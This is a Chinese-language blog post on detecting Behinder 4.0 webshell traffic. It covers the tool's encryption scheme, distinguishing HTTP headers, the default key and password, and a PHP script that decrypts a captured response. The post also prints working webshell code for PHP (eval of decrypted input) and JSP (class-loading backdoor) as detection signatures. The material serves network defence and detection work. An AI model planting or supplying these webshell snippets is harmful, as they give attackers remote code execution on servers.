抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

冰蝎4.0特征分析及流量检测思路

冰蝎4.0的介绍

简介

冰蝎是一款基于Java开发的动态加密通信流量的新型Webshell客户端。老牌 Webshell 管理神器——中国菜刀的攻击流量特征明显,容易被各类安全设备检测,实际场景中越来越少使用,加密 Webshell 正变得日趋流行。

由于通信流量被加密,传统的 WAF、IDS 设备难以检测,给威胁狩猎带来较大挑战。冰蝎其最大特点就是对交互流量进行对称加密,且加密秘钥是由随机数函数动态生成,因此该客户端的流量几乎无法检测。

新版本

修复问题:

  1. 修复了在zimbra环境下的兼容性问题;
  2. 修复了在exchange环境下的兼容性问题;
  3. 修复了Linux环境下打开文件失败的问题;
  4. 修复了命令执行中输入反斜杠导致后续无法输入新命令的问题;
  5. 修复了列目录时目录跳动的问题;
  6. 修复JDK18+执行命令乱码的问题;
  7. 修复内网穿透模块的几个影响隧道稳定性的几个问题;
  8. 修复了代码编辑框的复制粘贴问题;
  9. 其他一些优化;

新增功能:

  1. 新增支持多线程超大文件上传、下载;
  2. 新增文件打包压缩;
  3. 新增数据库连接配置可保存;
  4. 取消硬编码通信协议,传输协议完全自定义,并支持即时在线校验测试。
  5. 新增平行世界模块,可对目标内网资产进行管理;
  6. 新增主机扫描、端口扫描、服务识别模块;
  7. 新增支持Java9~java15+版本Agent内存马一键注入;
  8. 新增支持Java Agent无文件落地注入内存马;
  9. 新增多层网络子Shell穿透模块,实现多层”蝎中蝎”;
  10. 新增离线模式,自动缓存数据,如shell丢失,可离线查看已缓存内容;
  11. 开放插件开发模块,可开发自定义插件,内置多款插件;
  12. 支持二进制服务端,服务端不再依赖web。

工具通信原理

冰蝎的通信过程可以分为两个阶段:

  1. 密钥协商
  2. 加密传输

1. 第一阶段-密钥协商

1)攻击者通过 GET 或者 POST 方法,形如 http://127.0.0.1/shell.aspx?pass=645 的请求服务器密钥;

2)服务器使用随机数 MD5 的高16位作为密钥,存储到会话的 $_SESSION 变量中,并返回密钥给攻击者。

2. 第二阶段-加密传输

1)客户端把待执行命令作为输入,利用 AES 算法或 XOR 运算进行加密,并发送至服务端;

2)服务端接受密文后进行 AES 或 XOR 运算解密,执行相应的命令;

3)执行结果通过AES加密后返回给攻击者。

特征检测

Accept字段

流量特征

1
Accept: application/json, text/javascript, */*; q=0.01

检测思路

浏览器可接受任何文件,但最倾向application/json和 text/javascript

规则

file_data的作用和http_server_body差不多,都是使content匹配response body中的内容,唯一不同的是使用了file_data关键字的规则,其在file_data之后的content都会受到它的影响。file_data之后的content都必须在response body里匹配。

Content-Type

流量特征

1
Content-type: Application/x-www-form-urlencoded

检测思路

可以把这个字段作为一个弱特征,辅助其他特征来检测

User-agent 字段

流量特征

冰蝎设置了10种User-Agent,每次连接shell时会随机选择一个进行使用。

![image-20220729155845862](/Users/gryffinbit/Library/Application Support/typora-user-images/image-20220729155845862.png)

检测思路

在较短较简单的content字段后加上fast_pattern关键字则会优先匹配这个content。避免浪费太长时间在匹配user-agent上

snort编写可以用content:“User-Agent”; content:“浏览器版本”。来匹配相应的十个浏览器

端口

流量特征

冰蝎与webshell建立连接的同时,javaw也与目的主机建立tcp连接,每次连接使用本地端口在49700左右,每连接一次,每建立一次新的连接,端口就依次增加

检测思路

可以对符合该范围内的端口告警

PHP webshell 中存在固定代码

流量特征

1
2
$post=Decrypt(file_get_contents("php://input"));
eval($post);

检测思路

content字段中,将eval($post)作为流量特征纳入

长连接

流量特征

冰蝎通讯默认使用长连接,避免了频繁的握手造成的资源开销。默认情况下,请求头和响应头里会带有 Connection。

Connection: Keep-Alive

检测思路

可以作为辅助的流量特征

固定的请求头和响应头

流量特征

请求字节头:

1
dFAXQV1LORcHRQtLRlwMAhwFTAg/M

响应字节头:

1
TxcWR1NNExZAD0ZaAWMIPAZjH1BFBFtHThcJSlUXWEd

解密报文

通过webshell脚本,逆向分析揭秘算法

![image-20220919140750983](/Users/gryffinbit/Library/Application Support/typora-user-images/image-20220919140750983.png)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
function decrypt($data){
$key="e45e329feb5d925b";
$bs="base64_"."decode";
$after=$bs($data."");
for($i=0;$i<strlen($after);$i++) {
$after[$i] = $after[$i]^$key[$i+1&15];
}
echo $after;
return $after;
}
$data="TxcWR1NNExZAD0ZaAWMIPAZjH1BFBFtHThcJSlUXWEd9eghDQVwxLhN6M2NDdiAjfXo2B0BcAwQKejN3Rh4DPEZMIV5eSyIJC0QgVVhXASt3XCFfWFsACw9aMFVHWj5KWFwvVV5TUQMPWC8BVXg3IAZ4DAJxdBwBJXE1Vnx2CydyeglLRVguJzZRLG9ZUDQdZWYjcWddPjcUVglVWlckHWxjVFBVDFMUJwBRTEcAAFdicTRcfHoMLBV4DnBEeCYGQngPUFVwIiBTeg5oSHwhJFN8IUt3ajAsSXwneFV8ISRTfCZyVXAlUSx2DnBFeAgsQnghUER0DAYFfCB8A3oINE58JnJVcCIdJ2YycBl8ISRTfCZyVXAlJAV8Jw1HcTMKTXghdgF1HCQYeR5wBnwhJEx7D1wDdjUkBXwneFV8ISRTfCZyVXAlJAV8J3hLeiEnRFcIYV5cJVAVVCx4fHYILEN4MVBEdCI0FHgOeFV8JiAGeg9iB3AlJAV8J3hVfCEkU3wmclV0DCAReDBaA3wlEkFWIltFfTcKG3ggfEh5GCQFeR9yB3AlJBt4IFYDewskU3wmclVwJSQFfCd4VXwhJFN8JnJLdB8nFVQse0JXDz9CeQtxXVonVSl4DnhLeAtdQ3scC0t3DyQFeDBeBHgIMFN8JnJVaSM3KGAODVV8ISRTfCZyVXAlJAVWI1FFYToJdm8iAkJbAVUpeA54S3gLXUN7HAtLdx8kBXgwbAR7JgJTfCZyVXAlJAV8J3hVfCEkU3wmckh0MiwFVlZRXlclEkFWIltFfTcKBXwneFV8ISRTfCZyVXAlJAV8J3gCfC02AEQQUmVRTTZVQQ14VXwhJFN8JnJVcCIsGnkgbEh6ISFYRz9VXVAJLCx2DXhVfCEkU3wmclVwJSQFfCd4VXwmKFMAKVpDDFMQFwAGC2R8JiBNeSFyRXYlEhV6IHRBeyYwBnwqZGJLTQA3RCtuRllJDH9SAgN5Gxs=";
decrypt($data);
?>

得到报文内容

1
{"status":"c3VjY2Vzcw==","msg":"IOmpseWKqOWZqCBFIOS4reeahOWNt+aYryDmlrDliqDljbcNCiDljbfnmoTluo\/liJflj7fmmK8gMUE2Mi1CMzdGDQoNCiBFOlxwaHBTdHVkeVxQSFBUdXRvcmlhbFxXV1cg55qE55uu5b2VDQoNCjIwMjIvMDcvMjcgIDE1OjQzICAgIDxESVI+ICAgICAgICAgIC4NCjIwMjIvMDcvMjcgIDE1OjQzICAgIDxESVI+ICAgICAgICAgIC4uDQoyMDE3LzAzLzI4ICAxNjo1OSAgICAgICAgICAgICAgICAyOCBpbmRleC5waHANCjIwMTcvMDQvMjAgIDE2OjQ5ICAgICAgICAgICAgMjEsMTc1IGwucGhwDQoyMDEzLzA1LzA5ICAyMDo1NiAgICAgICAgICAgICAgICAyMyBwaHBpbmZvLnBocA0KMjAyMi8wNy8yNiAgMTg6MjUgICAgPERJUj4gICAgICAgICAgcGhwTXlBZG1pbg0KMjAyMi8wNy8yNyAgMTU6NDggICAgICAgICAgICAgICAzMTIgc2hlbGwucGhwDQogICAgICAgICAgICAgICA0IOS4quaWh+S7tiAgICAgICAgIDIxLDUzOCDlrZfoioINCiAgICAgICAgICAgICAgIDMg5Liq55uu5b2VIDEyLDAwOCwwODMsNDU2IOWPr+eUqOWtl+iKgg0K"}

将报文base64解密得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
{"status":"success","msg":"
驱动器 E 中的卷是 新加卷
卷的序列号是 1A62-B37F

E:\phpStudy\PHPTutorial\WWW 的目录

2022/07/27 15:43 <DIR> .
2022/07/27 15:43 <DIR> ..
2017/03/28 16:59 28 index.php
2017/04/20 16:49 21,175 l.php
2013/05/09 20:56 23 phpinfo.php
2022/07/26 18:25 <DIR> phpMyAdmin
2022/07/27 15:48 312 shell.php
4 个文件 21,538 字节
3 个目录 12,008,083,456 可用字节
"}

可以获取到目录信息

连接密码

流量特征:

默认时,所有冰蝎4.0 webshell都有“e45e329feb5d925b” 一串密钥。该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond

webshell特征

JSP webshell代码特征

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return
super.defineClass(b,0,b.length);}}%>
<%if (request.getMethod().equals("POST")){
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] buf = new byte[512];
int length=request.getInputStream().read(buf);
while (length>0)
{
byte[] data= Arrays.copyOfRange(buf,0,length);
bos.write(data);
length=request.getInputStream().read(buf);
}
new U(this.getClass().getClassLoader()).g(Decrypt(bos.toByteArray())).newInstance().equals(pageContext);}
%>

PHP webshell代码特征

1
2
3
@error_reporting(0);
$post=Decrypt(file_get_contents("php://input"));
eval($post);

请求和响应

请求头:dFAXQV1LORcHRQtLRlwMAhwFTAg/M

解密后:@error_reporting(0);\r

响应头:TxcWR1NNExZAD0ZaAWMIPAZjH1BFBFtHThcJSlUXWEd

解密后:{“status”:”c3VjY2Vzcw==”,”msg”:”

其中”c3VjY2Vzcw==”经过base64解密后的内容为success

冰蝎连接时不用输入密码,根据对冰蝎的使用分析,冰蝎4.0可以在初始时自定义连接密码

要设置自定义密码,需要在本地和远程加解密函数中都保存$key

这样的话,如果对方更换密码,初始字符串经过密钥加密,那么它的请求头和响应头都会发生变化,这就需要针对webshell中的$key动态改变解密函数才能的到解密后固定的请求头和响应头

另外,每次发起连接时都会发出两次http请求,默认连接密钥下,所有响应头都相同,第二次请求头比较特殊,初次之外,所有的请求头都相同。

第一次请求解密

1
dFAXQV1LORcHRQtLRlwMAhwFTAg/M

@error_reporting(0);\r

第二次请求解密

1
OT8AQUBWFDoQUBRWQEELC1MdVRoJNGwDF1sHTVtaDEVZVAxdGh0RDQNBAU9X

error_reporting(0);\r

参考文章

https://cloud.tencent.com/developer/article/1621021

评论